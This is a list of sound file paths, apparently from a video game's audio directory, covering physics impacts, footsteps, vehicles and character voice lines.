+physics/plastic/plastic_barrel_impact_soft1.wav +physics/plastic/plastic_barrel_impact_soft2.wav +physics/plastic/plastic_barrel_impact_soft3.wav +physics/plastic/plastic_barrel_impact_soft4.wav +physics/plastic/plastic_barrel_impact_soft5.wav +physics/plastic/plastic_barrel_impact_soft6.wav +physics/plastic/plastic_barrel_scrape_rough_loop1.wav +physics/plastic/plastic_barrel_scrape_smooth_loop1.wav +physics/plastic/plastic_box_break1.wav +physics/plastic/plastic_box_break2.wav +physics/plastic/plastic_box_impact_bullet1.wav +physics/plastic/plastic_box_impact_bullet2.wav +physics/plastic/plastic_box_impact_bullet3.wav +physics/plastic/plastic_box_impact_bullet4.wav +physics/plastic/plastic_box_impact_bullet5.wav +physics/plastic/plastic_box_impact_hard1.wav +physics/plastic/plastic_box_impact_hard2.wav +physics/plastic/plastic_box_impact_hard3.wav +physics/plastic/plastic_box_impact_hard4.wav +physics/plastic/plastic_box_impact_soft1.wav +physics/plastic/plastic_box_impact_soft2.wav +physics/plastic/plastic_box_impact_soft3.wav +physics/plastic/plastic_box_impact_soft4.wav +physics/plastic/plastic_box_scrape_rough_loop1.wav +physics/plastic/plastic_box_scrape_smooth_loop1.wav +physics/plastic/plastic_box_scrape_smooth_loop2.wav +physics/rubber/rubber_tire_impact_bullet1.wav +physics/rubber/rubber_tire_impact_bullet2.wav +physics/rubber/rubber_tire_impact_bullet3.wav +physics/rubber/rubber_tire_impact_hard1.wav +physics/rubber/rubber_tire_impact_hard2.wav +physics/rubber/rubber_tire_impact_hard3.wav +physics/rubber/rubber_tire_impact_soft1.wav +physics/rubber/rubber_tire_impact_soft2.wav +physics/rubber/rubber_tire_impact_soft3.wav +physics/surfaces/sand_impact_bullet1.wav +physics/surfaces/sand_impact_bullet2.wav +physics/surfaces/sand_impact_bullet3.wav +physics/surfaces/sand_impact_bullet4.wav +physics/surfaces/tile_impact_bullet1.wav +physics/surfaces/tile_impact_bullet2.wav +physics/surfaces/tile_impact_bullet3.wav +physics/surfaces/tile_impact_bullet4.wav +physics/surfaces/underwater_impact_bullet1.wav +physics/surfaces/underwater_impact_bullet2.wav +physics/surfaces/underwater_impact_bullet3.wav +physics/wood/wood_box_break1.wav +physics/wood/wood_box_break2.wav +physics/wood/wood_box_footstep1.wav +physics/wood/wood_box_footstep2.wav +physics/wood/wood_box_footstep3.wav +physics/wood/wood_box_footstep4.wav +physics/wood/wood_box_impact_bullet1.wav +physics/wood/wood_box_impact_bullet2.wav +physics/wood/wood_box_impact_bullet3.wav +physics/wood/wood_box_impact_bullet4.wav +physics/wood/wood_box_impact_hard1.wav +physics/wood/wood_box_impact_hard2.wav +physics/wood/wood_box_impact_hard3.wav +physics/wood/wood_box_Impact_hard4.wav +physics/wood/wood_box_impact_hard5.wav +physics/wood/wood_box_impact_hard6.wav +physics/wood/wood_box_impact_soft1.wav +physics/wood/wood_box_impact_soft2.wav +physics/wood/wood_box_impact_soft3.wav +physics/wood/wood_box_scrape_rough_loop1.wav +physics/wood/wood_box_scrape_smooth_loop1.wav +physics/wood/wood_crate_break1.wav +physics/wood/wood_crate_break2.wav +physics/wood/wood_crate_break3.wav +physics/wood/wood_crate_break4.wav +physics/wood/wood_crate_break5.wav +physics/wood/wood_crate_impact_hard1.wav +physics/wood/wood_crate_impact_hard2.wav +physics/wood/wood_crate_impact_hard3.wav +physics/wood/wood_crate_impact_hard4.wav +physics/wood/wood_crate_impact_hard5.wav +physics/wood/wood_crate_impact_soft1.wav +physics/wood/wood_crate_impact_soft2.wav +physics/wood/wood_crate_impact_soft3.wav +physics/wood/wood_crate_scrape_rough_loop1.wav +physics/wood/wood_furniture_break1.wav +physics/wood/wood_furniture_break2.wav +physics/wood/wood_furniture_impact_soft1.wav +physics/wood/wood_furniture_impact_soft2.wav +physics/wood/wood_furniture_impact_soft3.wav +physics/wood/wood_panel_break1.wav +physics/wood/wood_panel_impact_hard1.wav +physics/wood/wood_plank_break1.wav +physics/wood/wood_plank_break2.wav +physics/wood/wood_plank_break3.wav +physics/wood/wood_plank_break4.wav +physics/wood/wood_plank_impact_hard1.wav +physics/wood/wood_plank_impact_hard2.wav +physics/wood/wood_plank_impact_hard3.wav +physics/wood/wood_plank_impact_hard4.wav +physics/wood/wood_plank_impact_hard5.wav +physics/wood/wood_plank_impact_soft1.wav +physics/wood/wood_plank_impact_soft2.wav +physics/wood/wood_plank_impact_soft3.wav +physics/wood/wood_plank_scrape_rough_loop1.wav +physics/wood/wood_plank_scrape_smooth_loop1.wav +physics/wood/wood_solid_impact_bullet1.wav +physics/wood/wood_solid_impact_bullet2.wav +physics/wood/wood_solid_impact_bullet3.wav +physics/wood/wood_solid_impact_bullet4.wav +physics/wood/wood_solid_impact_bullet5.wav +physics/wood/wood_solid_impact_hard1.wav +physics/wood/wood_solid_impact_hard2.wav +physics/wood/wood_solid_impact_hard3.wav +physics/wood/wood_solid_impact_soft1.wav +physics/wood/wood_solid_impact_soft2.wav +physics/wood/wood_solid_impact_soft3.wav +physics/wood/wood_solid_scrape_rough_loop1.wav +physics/wood/wood_strain2.wav +physics/wood/wood_strain3.wav +physics/wood/wood_strain4.wav +plats/bigstop1.wav +plats/elevator_large_start1.wav +plats/elevator_large_stop1.wav +plats/elevator_loop1.wav +plats/elevator_move_loop1.wav +plats/elevator_move_loop2.wav +plats/elevator_start1.wav +plats/elevator_stop.wav +plats/elevator_stop1.wav +plats/elevator_stop2.wav +plats/elevbell1.wav +plats/hall_elev_door.wav +plats/hall_elev_move.wav +plats/hall_elev_stop.wav +plats/heavymove1.wav +plats/platform_citadel_ring.wav +plats/platstop1.wav +plats/rackmove1.wav +plats/rackstop1.wav +plats/railstop1.wav +plats/skylift_move.wav +plats/skylift_stop.wav +plats/squeekmove1.wav +plats/squeekstop1.wav +plats/talkmove2.wav +plats/train_use1.wav +plats/tram_hit1.wav +plats/tram_hit4.wav +plats/tram_motor.wav +plats/tram_motor_start.wav +plats/tram_move.wav +plats/tram_squeak.wav +plats/ttrain_brake1.wav +plats/crane/vertical_start.wav +plats/crane/vertical_stop.wav +player/breathe1.wav +player/geiger1.wav +player/geiger2.wav +player/geiger3.wav +player/heartbeat1.wav +player/pl_burnpain1.wav +player/pl_burnpain2.wav +player/pl_burnpain3.wav +player/pl_drown1.wav +player/pl_drown2.wav +player/pl_drown3.wav +player/pl_fallpain1.wav +player/pl_fallpain3.wav +player/pl_pain5.wav +player/pl_pain6.wav +player/pl_pain7.wav +player/pl_shell1.wav +player/pl_shell2.wav +player/pl_shell3.wav +player/sprayer.wav +player/suit_denydevice.WAV +player/suit_sprint.wav +player/footsteps/chainlink1.wav +player/footsteps/chainlink2.wav +player/footsteps/chainlink3.wav +player/footsteps/chainlink4.wav +player/footsteps/concrete1.wav +player/footsteps/concrete2.wav +player/footsteps/concrete3.wav +player/footsteps/concrete4.wav +player/footsteps/dirt1.wav +player/footsteps/dirt2.wav +player/footsteps/dirt3.wav +player/footsteps/dirt4.wav +player/footsteps/duct1.wav +player/footsteps/duct2.wav +player/footsteps/duct3.wav +player/footsteps/duct4.wav +player/footsteps/grass1.wav +player/footsteps/grass2.wav +player/footsteps/grass3.wav +player/footsteps/grass4.wav +player/footsteps/gravel1.wav +player/footsteps/gravel2.wav +player/footsteps/gravel3.wav +player/footsteps/gravel4.wav +player/footsteps/ladder1.wav +player/footsteps/ladder2.wav +player/footsteps/ladder3.wav +player/footsteps/ladder4.wav +player/footsteps/metal1.wav +player/footsteps/metal2.wav +player/footsteps/metal3.wav +player/footsteps/metal4.wav +player/footsteps/metalgrate1.wav +player/footsteps/metalgrate2.wav +player/footsteps/metalgrate3.wav +player/footsteps/metalgrate4.wav +player/footsteps/mud1.wav +player/footsteps/mud2.wav +player/footsteps/mud3.wav +player/footsteps/mud4.wav +player/footsteps/sand1.wav +player/footsteps/sand2.wav +player/footsteps/sand3.wav +player/footsteps/sand4.wav +player/footsteps/slosh1.wav +player/footsteps/slosh2.wav +player/footsteps/slosh3.wav +player/footsteps/slosh4.wav +player/footsteps/tile1.wav +player/footsteps/tile2.wav +player/footsteps/tile3.wav +player/footsteps/tile4.wav +player/footsteps/wade1.wav +player/footsteps/wade2.wav +player/footsteps/wade3.wav +player/footsteps/wade4.wav +player/footsteps/wade5.wav +player/footsteps/wade6.wav +player/footsteps/wade7.wav +player/footsteps/wade8.wav +player/footsteps/wood1.wav +player/footsteps/wood2.wav +player/footsteps/wood3.wav +player/footsteps/wood4.wav +player/footsteps/woodpanel1.wav +player/footsteps/woodpanel2.wav +player/footsteps/woodpanel3.wav +player/footsteps/woodpanel4.wav +player/general/flesh_burn.wav +Resource/warning.wav +test/overwatch batch converters/convert to 8 bit.bcs +test/overwatch batch converters/preprocess voice normalize.bcs +test/overwatch batch converters/voice to loudspeaker voice.bcs +test/overwatch batch converters/voice to radio voice.bcs +test/overwatch batch converters/voice trim silence start and end.bcs +test/temp/soundscape_test/cabin_ambience.wav +test/temp/soundscape_test/cabin_wall.wav +test/temp/soundscape_test/outdoor.wav +test/temp/soundscape_test/tv_music.wav +UI/buttonclick.wav +UI/buttonclickrelease.wav +UI/buttonrollover.wav +vehicles/atv_ammo_close.wav +vehicles/atv_ammo_open.wav +vehicles/chopper_rotor2.wav +vehicles/diesel_loop2.wav +vehicles/digger_grinder_loop1.wav +vehicles/digger_grinder_stop1.wav +vehicles/fast_windloop1.wav +vehicles/tank_readyfire1.wav +vehicles/tank_turret_loop1.wav +vehicles/tank_turret_start1.wav +vehicles/tank_turret_stop1.wav +vehicles/Airboat/fan_blade_fullthrottle_loop1.wav +vehicles/Airboat/fan_blade_idle_loop1.wav +vehicles/Airboat/fan_motor_fullthrottle_loop1.wav +vehicles/Airboat/fan_motor_idle_loop1.wav +vehicles/Airboat/fan_motor_shut_off1.wav +vehicles/Airboat/fan_motor_start1.wav +vehicles/Airboat/pontoon_fast_water_loop1.wav +vehicles/Airboat/pontoon_fast_water_loop2.wav +vehicles/Airboat/pontoon_impact_hard1.wav +vehicles/Airboat/pontoon_impact_hard2.wav +vehicles/Airboat/pontoon_scrape_rough1.wav +vehicles/Airboat/pontoon_scrape_rough2.wav +vehicles/Airboat/pontoon_scrape_rough3.wav +vehicles/Airboat/pontoon_scrape_smooth1.wav +vehicles/Airboat/pontoon_scrape_smooth2.wav +vehicles/Airboat/pontoon_scrape_smooth3.wav +vehicles/Airboat/pontoon_splash1.wav +vehicles/Airboat/pontoon_splash2.wav +vehicles/Airboat/pontoon_stopped_water_loop1.wav +vehicles/APC/apc_cruise_loop3.wav +vehicles/APC/apc_firstgear_loop1.wav +vehicles/APC/apc_idle1.wav +vehicles/APC/apc_shutdown.wav +vehicles/APC/apc_slowdown_fast_loop5.wav +vehicles/APC/apc_start_loop3.wav +vehicles/Crane/crane_creak1.wav +vehicles/Crane/crane_creak2.wav +vehicles/Crane/crane_creak3.wav +vehicles/Crane/crane_creak4.wav +vehicles/Crane/crane_extend_loop1.wav +vehicles/Crane/crane_extend_stop.wav +vehicles/Crane/crane_idle_loop3.wav +vehicles/Crane/crane_magnet_grab.wav +vehicles/Crane/crane_magnet_release.wav +vehicles/Crane/crane_magnet_switchon.wav +vehicles/Crane/crane_slow_to_idle_loop4.wav +vehicles/Crane/crane_startengine1.wav +vehicles/Crane/crane_turn_loop2.wav +vehicles/Jetski/jetski_no_gas_start.wav +vehicles/Jetski/jetski_off.wav +vehicles/v8/first.wav +vehicles/v8/fourth_cruise_loop2.wav +vehicles/v8/second.wav +vehicles/v8/skid_highfriction.wav +vehicles/v8/skid_lowfriction.wav +vehicles/v8/skid_normalfriction.wav +vehicles/v8/third.wav +vehicles/v8/v8_firstgear_rev_loop1.wav +vehicles/v8/v8_idle_loop1.wav +vehicles/v8/v8_rev_short_loop1.wav +vehicles/v8/v8_start_loop1.wav +vehicles/v8/v8_stop1.wav +vehicles/v8/v8_throttle_off_fast_loop1.wav +vehicles/v8/v8_throttle_off_slow_loop2.wav +vehicles/v8/v8_turbo_on_loop1.wav +vehicles/v8/vehicle_impact_heavy1.wav +vehicles/v8/vehicle_impact_heavy2.wav +vehicles/v8/vehicle_impact_heavy3.wav +vehicles/v8/vehicle_impact_heavy4.wav +vehicles/v8/vehicle_impact_medium1.wav +vehicles/v8/vehicle_impact_medium2.wav +vehicles/v8/vehicle_impact_medium3.wav +vehicles/v8/vehicle_impact_medium4.wav +vehicles/v8/vehicle_rollover1.wav +vehicles/v8/vehicle_rollover2.wav +vo/batch converters/distorto_radio.bcs +vo/batch converters/HL2_radio_voice.bcs +vo/batch converters/normalize_speech.bcs +vo/Breencast/br_collaboration01.wav +vo/Breencast/br_collaboration02.wav +vo/Breencast/br_collaboration03.wav +vo/Breencast/br_collaboration04.wav +vo/Breencast/br_collaboration05.wav +vo/Breencast/br_collaboration06.wav +vo/Breencast/br_collaboration07.wav +vo/Breencast/br_collaboration08.wav +vo/Breencast/br_collaboration09.wav +vo/Breencast/br_collaboration10.wav +vo/Breencast/br_collaboration11.wav +vo/Breencast/br_disruptor01.wav +vo/Breencast/br_disruptor02.wav +vo/Breencast/br_disruptor03.wav +vo/Breencast/br_disruptor04.wav +vo/Breencast/br_disruptor05.wav +vo/Breencast/br_disruptor06.wav +vo/Breencast/br_disruptor07.wav +vo/Breencast/br_disruptor08.wav +vo/Breencast/br_instinct01.wav +vo/Breencast/br_instinct02.wav +vo/Breencast/br_instinct03.wav +vo/Breencast/br_instinct04.wav +vo/Breencast/br_instinct05.wav +vo/Breencast/br_instinct06.wav +vo/Breencast/br_instinct07.wav +vo/Breencast/br_instinct08.wav +vo/Breencast/br_instinct09.wav +vo/Breencast/br_instinct10.wav +vo/Breencast/br_instinct11.wav +vo/Breencast/br_instinct12.wav +vo/Breencast/br_instinct13.wav +vo/Breencast/br_instinct14.wav +vo/Breencast/br_instinct15.wav +vo/Breencast/br_instinct16.wav +vo/Breencast/br_instinct17.wav +vo/Breencast/br_instinct18.wav +vo/Breencast/br_instinct19.wav +vo/Breencast/br_instinct20.wav +vo/Breencast/br_instinct21.wav +vo/Breencast/br_instinct22.wav +vo/Breencast/br_instinct23.wav +vo/Breencast/br_instinct24.wav +vo/Breencast/br_instinct25.wav +vo/Breencast/br_overwatch01.wav +vo/Breencast/br_overwatch02.wav +vo/Breencast/br_overwatch03.wav +vo/Breencast/br_overwatch04.wav +vo/Breencast/br_overwatch05.wav +vo/Breencast/br_overwatch06.wav +vo/Breencast/br_overwatch07.wav +vo/Breencast/br_overwatch08.wav +vo/Breencast/br_overwatch09.wav +vo/Breencast/br_tofreeman01.wav +vo/Breencast/br_tofreeman02.wav +vo/Breencast/br_tofreeman03.wav +vo/Breencast/br_tofreeman04.wav +vo/Breencast/br_tofreeman05.wav +vo/Breencast/br_tofreeman06.wav +vo/Breencast/br_tofreeman07.wav +vo/Breencast/br_tofreeman08.wav +vo/Breencast/br_tofreeman09.wav +vo/Breencast/br_tofreeman10.wav +vo/Breencast/br_tofreeman11.wav +vo/Breencast/br_tofreeman12.wav +vo/Breencast/br_welcome01.wav +vo/Breencast/br_welcome02.wav +vo/Breencast/br_welcome03.wav +vo/Breencast/br_welcome04.wav +vo/Breencast/br_welcome05.wav +vo/Breencast/br_welcome06.wav +vo/Breencast/br_welcome07.wav +vo/canals/airboat_drivehard.wav +vo/canals/airboat_gassed.wav +vo/canals/airboat_go_nag01.wav +vo/canals/airboat_go_nag02.wav +vo/canals/airboat_go_nag03.wav +vo/canals/airboat_nag01.wav +vo/canals/airboat_nag02.wav +vo/canals/airboat_nag03.wav +vo/canals/airboat_redbarn.wav +vo/canals/al_radio_stn6.wav +vo/canals/arrest_getgoing.wav +vo/canals/arrest_helpme.wav +vo/canals/arrest_lookingforyou.wav +vo/canals/arrest_run.wav +vo/canals/arrest_stop.wav +vo/canals/boxcar_becareful.wav +vo/canals/boxcar_becareful_b.wav +vo/canals/boxcar_becareful_c.wav +vo/canals/boxcar_go_nag01.wav +vo/canals/boxcar_go_nag02.wav +vo/canals/boxcar_go_nag03.wav +vo/canals/boxcar_go_nag04.wav +vo/canals/boxcar_jolt.wav +vo/canals/boxcar_lethimhelp.wav +vo/canals/boxcar_lookout.wav +vo/canals/boxcar_lookout_b.wav +vo/canals/boxcar_lookout_d.wav +vo/canals/boxcar_sirens.wav +vo/canals/boxcar_sirens_b.wav +vo/canals/boxcar_sirens_c.wav +vo/canals/boxcar_vortstop.wav +vo/canals/gunboat_comein.wav +vo/canals/gunboat_dam.wav +vo/canals/gunboat_finishingup.wav +vo/canals/gunboat_getin.wav +vo/canals/gunboat_goonout.wav +vo/canals/gunboat_herelook.wav +vo/canals/gunboat_heyyourefm.wav +vo/canals/gunboat_hideout.wav +vo/canals/gunboat_impossible.wav +vo/canals/gunboat_irony.wav +vo/canals/gunboat_magic.wav +vo/canals/gunboat_takeitdown.wav +vo/canals/gunboat_vort.wav +vo/canals/matt_beglad.wav +vo/canals/matt_beglad_b.wav +vo/canals/matt_beglad_c.wav +vo/canals/matt_closecall.wav +vo/canals/matt_flood.wav +vo/canals/matt_flood_b.wav +vo/canals/matt_getin.wav +vo/canals/matt_goodluck.wav +vo/canals/matt_go_nag01.wav +vo/canals/matt_go_nag02.wav +vo/canals/matt_go_nag03.wav +vo/canals/matt_go_nag04.wav +vo/canals/matt_go_nag05.wav +vo/canals/matt_supplies.wav +vo/canals/matt_tearinguprr.wav +vo/canals/matt_tearinguprr_a.wav +vo/canals/matt_tearinguprr_b.wav +vo/canals/matt_thanksbut.wav +vo/canals/matt_toolate.wav +vo/canals/premassacre.wav +vo/canals/radio_comein12.wav +vo/canals/radio_doyoucopy8.wav +vo/canals/radio_thisis8.wav +vo/canals/shanty_badtime.wav +vo/canals/shanty_gotsomeammo.wav +vo/canals/shanty_gotword.wav +vo/canals/shanty_go_nag01.wav +vo/canals/shanty_go_nag02.wav +vo/canals/shanty_go_nag03.wav +vo/canals/shanty_helpyourself.wav +vo/canals/shanty_hey.wav +vo/canals/shanty_yourefm.wav +vo/canals/stn1_cit_illstay.wav +vo/canals/stn1_cit_keepgoing.wav +vo/canals/vort_reckoning.wav +vo/canals/female01/gunboat_breakcamp.wav +vo/canals/female01/gunboat_eliright.wav +vo/canals/female01/gunboat_farewell.wav +vo/canals/female01/gunboat_giveemhell.wav +vo/canals/female01/gunboat_hurry.wav +vo/canals/female01/gunboat_justintime.wav +vo/canals/female01/gunboat_moveon.wav +vo/canals/female01/gunboat_owneyes.wav +vo/canals/female01/gunboat_parkboat.wav +vo/canals/female01/gunboat_pullout.wav +vo/canals/female01/stn6_go_nag02.wav +vo/canals/female01/stn6_incoming.wav +vo/canals/female01/stn6_shellingus.wav +vo/canals/male01/gunboat_breakcamp.wav +vo/canals/male01/gunboat_eliright.wav +vo/canals/male01/gunboat_farewell.wav +vo/canals/male01/gunboat_giveemhell.wav +vo/canals/male01/gunboat_hurry.wav +vo/canals/male01/gunboat_justintime.wav +vo/canals/male01/gunboat_moveon.wav +vo/canals/male01/gunboat_owneyes.wav +vo/canals/male01/gunboat_parkboat.wav +vo/canals/male01/gunboat_pullout.wav +vo/canals/male01/stn6_go_nag02.wav +vo/canals/male01/stn6_incoming.wav +vo/canals/male01/stn6_shellingus.wav +vo/Citadel/al_ascent.wav +vo/Citadel/al_beforeescape.wav +vo/Citadel/al_betterhurry.wav +vo/Citadel/al_bitofit.wav +vo/Citadel/al_bluff.wav +vo/Citadel/al_cantshutdown.wav +vo/Citadel/al_chancelikethis.wav +vo/Citadel/al_chargeup.wav +vo/Citadel/al_comegordon.wav +vo/Citadel/al_comeon.wav +vo/Citadel/al_comingafterme.wav +vo/Citadel/al_dad.wav +vo/Citadel/al_dadgordonno.wav +vo/Citadel/al_dadgordonno_b.wav +vo/Citadel/al_dadgordonno_c.wav +vo/Citadel/al_dadhangon.wav +vo/Citadel/al_dadsorry.wav +vo/Citadel/al_darkfusionreactor.wav +vo/Citadel/al_dienow.wav +vo/Citadel/al_dienow_b.wav +vo/Citadel/al_dontforget.wav +vo/Citadel/al_dontlisten.wav +vo/Citadel/al_dontlistentohim.wav +vo/Citadel/al_doworst.wav +vo/Citadel/al_elevator.wav +vo/Citadel/al_fail_no.wav +vo/Citadel/al_gettingaway.wav +vo/Citadel/al_gogordon.wav +vo/Citadel/al_gordonwouldnever.wav +vo/Citadel/al_heylisten.wav +vo/Citadel/al_hurrymossman02.wav +vo/Citadel/al_itsbreen.wav +vo/Citadel/al_keepgoing.wav +vo/Citadel/al_letyouin.wav +vo/Citadel/al_lookafterdad.wav +vo/Citadel/al_lookafterdad_b.wav +vo/Citadel/al_lookafterdad_c.wav +vo/Citadel/al_lookwhatheleft.wav +vo/Citadel/al_noclue.wav +vo/Citadel/al_notagain02.wav +vo/Citadel/al_notsayinggoodbye.wav +vo/Citadel/al_outofhere.wav +vo/Citadel/al_soldiers01_a.wav +vo/Citadel/al_soldiers01_b.wav +vo/Citadel/al_stayawaycore.wav +vo/Citadel/al_staybackbeam.wav +vo/Citadel/al_struggle01.wav +vo/Citadel/al_struggle02.wav +vo/Citadel/al_struggle03.wav +vo/Citadel/al_struggle05.wav +vo/Citadel/al_struggle07.wav +vo/Citadel/al_struggle08.wav +vo/Citadel/al_success_yes.wav +vo/Citadel/al_success_yes02_nr.wav +vo/Citadel/al_success_yes_nr.wav +vo/Citadel/al_thatshim.wav +vo/Citadel/al_thegravgun01.wav +vo/Citadel/al_thegravgun03.wav +vo/Citadel/al_thegravgun04.wav +vo/Citadel/al_thereheis.wav +vo/Citadel/al_uptop.wav +vo/Citadel/al_watchout01.wav +vo/Citadel/al_wonderwhere.wav +vo/Citadel/al_working.wav +vo/Citadel/al_yes.wav +vo/Citadel/al_yes_nr.wav +vo/Citadel/br_betrayed.wav +vo/Citadel/br_bidder_a.wav +vo/Citadel/br_bidder_b.wav +vo/Citadel/br_circum.wav +vo/Citadel/br_create.wav +vo/Citadel/br_deliver.wav +vo/Citadel/br_dictate_a.wav +vo/Citadel/br_failing11.wav +vo/Citadel/br_farside.wav +vo/Citadel/br_foundation.wav +vo/Citadel/br_freemanatlast.wav +vo/Citadel/br_gift_a.wav +vo/Citadel/br_gift_b.wav +vo/Citadel/br_gift_c.wav +vo/Citadel/br_goback.wav +vo/Citadel/br_gravgun.wav +vo/Citadel/br_guards.wav +vo/Citadel/br_guest_a.wav +vo/Citadel/br_guest_b.wav +vo/Citadel/br_guest_c.wav +vo/Citadel/br_guest_d.wav +vo/Citadel/br_guest_f.wav +vo/Citadel/br_hostbody.wav +vo/Citadel/br_judithwhat.wav +vo/Citadel/br_justhurry.wav +vo/Citadel/br_laugh01.wav +vo/Citadel/br_mentors.wav +vo/Citadel/br_mock01.wav +vo/Citadel/br_mock04.wav +vo/Citadel/br_mock05.wav +vo/Citadel/br_mock06.wav +vo/Citadel/br_mock07.wav +vo/Citadel/br_mock09.wav +vo/Citadel/br_mock13.wav +vo/Citadel/br_newleader_a.wav +vo/Citadel/br_newleader_b.wav +vo/Citadel/br_newleader_c.wav +vo/Citadel/br_no.wav +vo/Citadel/br_nopoint.wav +vo/Citadel/br_nothingtosay_a.wav +vo/Citadel/br_nothingtosay_b.wav +vo/Citadel/br_oheli07.wav +vo/Citadel/br_oheli08.wav +vo/Citadel/br_oheli09.wav +vo/Citadel/br_ohshit.wav +vo/Citadel/br_playgame_a.wav +vo/Citadel/br_playgame_b.wav +vo/Citadel/br_playgame_c.wav +vo/Citadel/br_rabble_a.wav +vo/Citadel/br_rabble_b.wav +vo/Citadel/br_rabble_c.wav +vo/Citadel/br_rabble_d.wav +vo/Citadel/br_stubborn.wav +vo/Citadel/br_synapse.wav +vo/Citadel/br_synapse02.wav +vo/Citadel/br_unleash.wav +vo/Citadel/br_untenable.wav +vo/Citadel/br_whatittakes.wav +vo/Citadel/br_worthit.wav +vo/Citadel/br_yesjudith.wav +vo/Citadel/br_youfool.wav +vo/Citadel/br_youneedme.wav +vo/Citadel/eli_alyx01.wav +vo/Citadel/eli_alyxsweetheart.wav +vo/Citadel/eli_damnbreen.wav +vo/Citadel/eli_dontstruggle.wav +vo/Citadel/eli_dontworryboutme.wav +vo/Citadel/eli_genocide.wav +vo/Citadel/eli_goodgod.wav +vo/Citadel/eli_mygirl.wav +vo/Citadel/eli_nonever.wav +vo/Citadel/eli_notobreen.wav +vo/Citadel/eli_save.wav +vo/Citadel/eli_sendusboth.wav +vo/Citadel/gman_exit01.wav +vo/Citadel/gman_exit02.wav +vo/Citadel/gman_exit03.wav +vo/Citadel/gman_exit04.wav +vo/Citadel/gman_exit05.wav +vo/Citadel/gman_exit06.wav +vo/Citadel/gman_exit07.wav +vo/Citadel/gman_exit08.wav +vo/Citadel/gman_exit09.wav +vo/Citadel/gman_exit10.wav +vo/Citadel/mo_alyxneedthis.wav +vo/Citadel/mo_bargain.wav +vo/Citadel/mo_dont.wav +vo/Citadel/mo_dontworry.wav +vo/Citadel/mo_illtakehim.wav +vo/Citadel/mo_necessary.wav +vo/Citadel/mo_notimealyx.wav +vo/Citadel/mo_notleavingeli.wav +vo/Citadel/mo_nouse.wav +vo/Citadel/mo_outoftime.wav +vo/Citadel/mo_sorrygordon.wav +vo/Citadel/mo_stoppingyou.wav +vo/Citadel/mo_wallace.wav +vo/coast/cr_antlions.wav +vo/coast/cr_carsallready.wav +vo/coast/cr_driveforfeel.wav +vo/coast/cr_getincar.wav +vo/coast/cr_getupandhellout.wav +vo/coast/cr_gravgun.wav +vo/coast/cr_hopin.wav +vo/coast/cr_magfail.wav +vo/coast/cr_pier01.wav +vo/coast/cr_pier02.wav +vo/coast/cr_pier03.wav +vo/coast/cr_playerincar.wav +vo/coast/cr_rockslide.wav +vo/coast/cr_sorry.wav +vo/coast/vgossip_01.wav +vo/coast/vgossip_02.wav +vo/coast/vgossip_03.wav +vo/coast/vgossip_04.wav +vo/coast/barn/lighthouse_morale.wav +vo/coast/barn/vmech_accept.wav +vo/coast/barn/female01/chatter.wav +vo/coast/barn/female01/crapships.wav +vo/coast/barn/female01/ditchcar.wav +vo/coast/barn/female01/drop_lite.wav +vo/coast/barn/female01/drop_road.wav +vo/coast/barn/female01/exit_cliffpath.wav +vo/coast/barn/female01/exit_comewith.wav +vo/coast/barn/female01/exit_watchstep.wav +vo/coast/barn/female01/getcarinbarn.wav +vo/coast/barn/female01/getcaringarage.wav +vo/coast/barn/female01/getoffroad01.wav +vo/coast/barn/female01/gettauoff.wav +vo/coast/barn/female01/incomingdropship.wav +vo/coast/barn/female01/lite_gunship01.wav +vo/coast/barn/female01/lite_gunship02.wav +vo/coast/barn/female01/lite_rockets01.wav +vo/coast/barn/female01/lite_rockets03.wav +vo/coast/barn/female01/lite_rockets04.wav +vo/coast/barn/female01/parkit.wav +vo/coast/barn/female01/youmadeit.wav +vo/coast/barn/male01/chatter.wav +vo/coast/barn/male01/crapships.wav +vo/coast/barn/male01/ditchcar.wav +vo/coast/barn/male01/drop_lite.wav +vo/coast/barn/male01/drop_road.wav +vo/coast/barn/male01/exit_cliffpath.wav +vo/coast/barn/male01/exit_comewith.wav +vo/coast/barn/male01/exit_watchstep.wav +vo/coast/barn/male01/getcarinbarn.wav +vo/coast/barn/male01/getcaringarage.wav +vo/coast/barn/male01/getoffroad01.wav +vo/coast/barn/male01/gettauoff.wav +vo/coast/barn/male01/incomingdropship.wav +vo/coast/barn/male01/lite_gunship01.wav +vo/coast/barn/male01/lite_gunship02.wav +vo/coast/barn/male01/lite_rockets01.wav +vo/coast/barn/male01/lite_rockets03.wav +vo/coast/barn/male01/lite_rockets04.wav +vo/coast/barn/male01/parkit.wav +vo/coast/barn/male01/youmadeit.wav +vo/coast/bugbait/bugbait_onemanalone.wav +vo/coast/bugbait/sandy_asyougo.wav +vo/coast/bugbait/sandy_dontmove.wav +vo/coast/bugbait/sandy_dontstep.wav +vo/coast/bugbait/sandy_goahead.wav +vo/coast/bugbait/sandy_help.wav +vo/coast/bugbait/sandy_holdstill.wav +vo/coast/bugbait/sandy_poorlaszlo.wav +vo/coast/bugbait/sandy_stop.wav +vo/coast/bugbait/sandy_vortcamp.wav +vo/coast/bugbait/sandy_youidiot.wav +vo/coast/bugbait/sandy_youthere.wav +vo/coast/bugbait/sandy_youtried.wav +vo/coast/bugbait/vbaittrain01a.wav +vo/coast/bugbait/vbaittrain01b.wav +vo/coast/bugbait/vbaittrain01c.wav +vo/coast/bugbait/vbaittrain02.wav +vo/coast/bugbait/vbaittrain02_nag.wav +vo/coast/bugbait/vbaittrain03.wav +vo/coast/bugbait/vbaittrain03_nag.wav +vo/coast/bugbait/vbaittrain04.wav +vo/coast/bugbait/vbaittrain04_nag.wav +vo/coast/bugbait/vbaittrain05.wav +vo/coast/bugbait/vbaittrain_fine.wav +vo/coast/bugbait/vbaittrain_gotit.wav +vo/coast/bugbait/vbaittrain_great.wav +vo/coast/bugbait/vort_extract01.wav +vo/coast/bugbait/vort_podnag.wav +vo/coast/bugbait/vort_podsforyou01.wav +vo/coast/bugbait/female01/pheropod_nag01.wav +vo/coast/bugbait/female01/pheropod_nag02.wav +vo/coast/bugbait/female01/pheropod_nag03.wav +vo/coast/bugbait/male01/pheropod_nag01.wav +vo/coast/bugbait/male01/pheropod_nag02.wav +vo/coast/bugbait/male01/pheropod_nag03.wav +vo/coast/cardock/al_goodhands.wav +vo/coast/cardock/al_gotcar.wav +vo/coast/cardock/al_hitcher01.wav +vo/coast/cardock/al_hitcher02.wav +vo/coast/cardock/al_needyourhelp.wav +vo/coast/cardock/cr_willdo.wav +vo/coast/cardock/le_allclear.wav +vo/coast/cardock/le_allset.wav +vo/coast/cardock/le_buggy.wav +vo/coast/cardock/le_bye.wav +vo/coast/cardock/le_followme.wav +vo/coast/cardock/le_goodidea.wav +vo/coast/cardock/le_gotgordon.wav 